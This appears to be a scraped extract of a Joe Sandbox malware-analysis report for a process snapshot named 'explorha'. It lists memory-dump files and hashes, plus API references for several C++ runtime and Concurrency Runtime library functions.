Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: f96b98ae72cb629ea107b475ae146ea8790fed9f331c75dbbed204572333242b
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: F6512171A0021DABDF04DF94C995BFDB3A8BF08304F454169FA1597282DB34AE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B06935 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00B06A30
type_info::operator==.LIBVCRUNTIME ref: 00B06A57
___TypeMatch.LIBVCRUNTIME ref: 00B06B63
IsInExceptionSpec.LIBVCRUNTIME ref: 00B06C3E
CallUnexpected.LIBVCRUNTIME ref: 00B06CE0

Strings

csm, xrefs: 00B06A8E
csm, xrefs: 00B06970
csm, xrefs: 00B069DD

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: deccb0b37469582e13058eeb784f5f48d25b33546b0f2312e1be76be5a2137b4
Instruction ID: 8cab8fddd2396f428618c54ae08766a55d15d491eae6ea67ef8fa5c87dac3e55
Opcode Fuzzy Hash: deccb0b37469582e13058eeb784f5f48d25b33546b0f2312e1be76be5a2137b4
Instruction Fuzzy Hash: 4CC15A71900209EFDF29DFA4C8819AEBFF5FF14314F14819AE8516B292D731DA61CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AF89F4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AF8A40
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00AF8A82
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00AF8A9E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00AF8AA9
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF8AD0

Strings

ppVirtualProcessorRoots, xrefs: 00AF8AC8
count, xrefs: 00AF8A0E

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 4eb2b40f0f39ba708eabcb92da46d8e614ee09dda2527cc8580ca9d51dd43f6c
Instruction ID: 91ab313d6ee52977ebdc9fefda5631912c5d063a3c30aed3aaa498af7efc92ad
Opcode Fuzzy Hash: 4eb2b40f0f39ba708eabcb92da46d8e614ee09dda2527cc8580ca9d51dd43f6c
Instruction Fuzzy Hash: 5F212C74A00209EFCB14EF95C585ABDB7B5FF45340F0540A9FA05A7261DB34AE01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF8F71 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AF8F93

Part of subcall function 00AF7348: __EH_prolog3_catch.LIBCMT ref: 00AF734F
Part of subcall function 00AF7348: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AF7388

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AF8FBA
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00AF8FC6

Part of subcall function 00AF7348: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00AF7400
Part of subcall function 00AF7348: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00AF740E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00AF9012
Concurrency::location::_Assign.LIBCMT ref: 00AF9033
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00AF903B
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00AF904D
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00AF907D

Part of subcall function 00AF7FAD: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00AF7FD2
Part of subcall function 00AF7FAD: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00AF7FF5

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 00d12e4fec4d2e3feb112fb8d966b9d51bff0ad84299d062641000ea6ed9a5b7
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 38312430B042596ECF16ABF845927FFBBB69F81340F040169FA41D7242DF294D06C792

Uniqueness

Uniqueness Score: -1.00%

Function 00B05ED0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B05F07
___except_validate_context_record.LIBVCRUNTIME ref: 00B05F0F
_ValidateLocalCookies.LIBCMT ref: 00B05F98
__IsNonwritableInCurrentImage.LIBCMT ref: 00B05FC3
_ValidateLocalCookies.LIBCMT ref: 00B06018

Strings

csm, xrefs: 00B05FAD

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
